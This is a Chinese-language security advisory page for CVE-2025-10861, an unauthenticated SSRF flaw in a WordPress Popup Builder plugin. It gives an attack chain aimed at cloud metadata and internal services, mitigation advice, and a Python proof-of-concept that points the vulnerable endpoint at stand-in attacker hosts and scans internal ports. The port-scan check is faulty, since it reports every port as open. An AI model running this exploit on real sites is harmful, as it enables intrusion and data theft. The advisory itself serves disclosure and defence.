IPBUF安全漏洞报告
English
CVE-2025-10861 CVSS 7.5 高危

CVE-2025-10861: WordPress Popup Builder插件服务器端请求伪造漏洞

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-10861
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Popup Builder with Gamification, Multi-Step Popups, Page-Level Targeting, and WooCommerce Triggers plugin for WordPress

相关标签

服务器端请求伪造SSRFWordPress插件漏洞Popup BuilderCVE-2025-10861高危漏洞未授权访问网络侦察内部服务探测

漏洞概述

Popup Builder是WordPress的一个弹出窗口构建插件,提供游戏化、多步骤弹出窗口、页面级定位和WooCommerce触发器功能。该插件在2.1.4及之前的所有版本中存在服务器端请求伪造(SSRF)漏洞。漏洞源于插件对通过URL参数提供的URL验证不足,攻击者可以利用这个漏洞从Web应用程序向任意位置发起Web请求。该漏洞允许未认证的攻击者查询和修改内部服务信息,并可进行网络侦察。漏洞在2.1.4版本中部分修复,但建议用户升级到最新版本以获得完整保护。此类漏洞特别危险,因为它允许攻击者绕过防火墙直接访问内部网络资源,可能导致敏感数据泄露、内部服务暴露等严重后果。

技术细节

该SSRF漏洞存在于插件的FetchDemo.php文件中,具体位于URL参数验证逻辑部分。攻击者可以通过构造恶意的URL参数值来利用此漏洞。当插件处理用户请求时,由于缺乏对URL参数的充分验证,攻击者可以指定任意URL(包括内部网络地址如localhost、127.0.0.1或内网IP段),使服务器向这些地址发起请求。攻击者可以利用此漏洞进行端口扫描探测内网服务、访问内部管理接口、读取本地文件内容(通过file://协议)、攻击内部运行的服务等。由于CVSS向量显示无需认证(PR:N)且网络可达(AV:N),任何人都可以通过互联网直接发起攻击。漏洞的机密性影响为高(C:H),意味着攻击者可能获取敏感信息。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress及Popup Builder插件版本,确定版本是否在受影响范围内(<=2.1.4)
STEP 2
步骤2: 漏洞探测
攻击者访问插件的FetchDemo API端点(/wp-json/popup-builder/v1/fetch-demo),测试URL参数是否存在SSRF
STEP 3
步骤3: 构造恶意请求
攻击者构造包含恶意URL的HTTP请求,将URL参数设置为内部地址(如localhost:3306、http://169.254.169.254/等)或攻击者控制的服务器
STEP 4
步骤4: 发起SSRF攻击
服务器在插件处理请求时,会向攻击者指定的URL发起HTTP请求,从而绕过防火墙访问内部资源或外传数据
STEP 5
步骤5: 数据窃取/内网渗透
通过SSRF漏洞,攻击者可以获取云元数据、探测内网服务、访问内部API、读取本地文件等,完成情报收集或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys def exploit_ssrf(target_url, attacker_controlled_url): """ PoC for CVE-2025-10861 - SSRF in Popup Builder WordPress Plugin This exploits the insufficient URL validation in the plugin's FetchDemo endpoint. The vulnerable parameter allows attackers to make the server request arbitrary URLs. Usage: python exploit.py http://target-wordpress-site.com http://evil.com/malicious-endpoint Note: For authorized security testing only. """ # Vulnerable endpoint path (found in plugin code analysis) vulnerable_endpoint = "/wp-json/popup-builder/v1/fetch-demo" # Alternative vulnerable parameters params = { "url": attacker_controlled_url, # Attacker-controlled URL parameter # "action": "fetch_demo", # "demo_url": attacker_controlled_url, } try: print(f"[*] Target: {target_url}") print(f"[*] Attacker URL: {attacker_controlled_url}") # Send the malicious request response = requests.get( target_url + vulnerable_endpoint, params=params, timeout=10, allow_redirects=False ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def scan_internal_port(target_url, internal_host, port): """ Use SSRF to scan internal ports """ internal_url = f"http://{internal_host}:{port}" print(f"[*] Scanning {internal_host}:{port}") params = {"url": internal_url} try: response = requests.get( target_url + "/wp-json/popup-builder/v1/fetch-demo", params=params, timeout=5 ) if response.status_code != 0: print(f"[!] Port {port} is OPEN") return True except: pass return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python exploit.py <target_url> <attacker_url>") print("Example: python exploit.py http://victim.com http://attacker.com/collect") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] exploit_ssrf(target, attacker)

影响范围

Popup Builder plugin for WordPress <= 2.1.4

防御指南

临时缓解措施
立即将Popup Builder插件升级到最新版本。如果暂时无法升级,可在Web应用层配置URL过滤规则,阻止对内网地址(127.0.0.1、localhost、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)、云元数据端点(169.254.169.254)的请求。同时考虑使用防火墙限制对/wp-json/popup-builder/v1/*路径的访问,或暂时禁用该插件直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表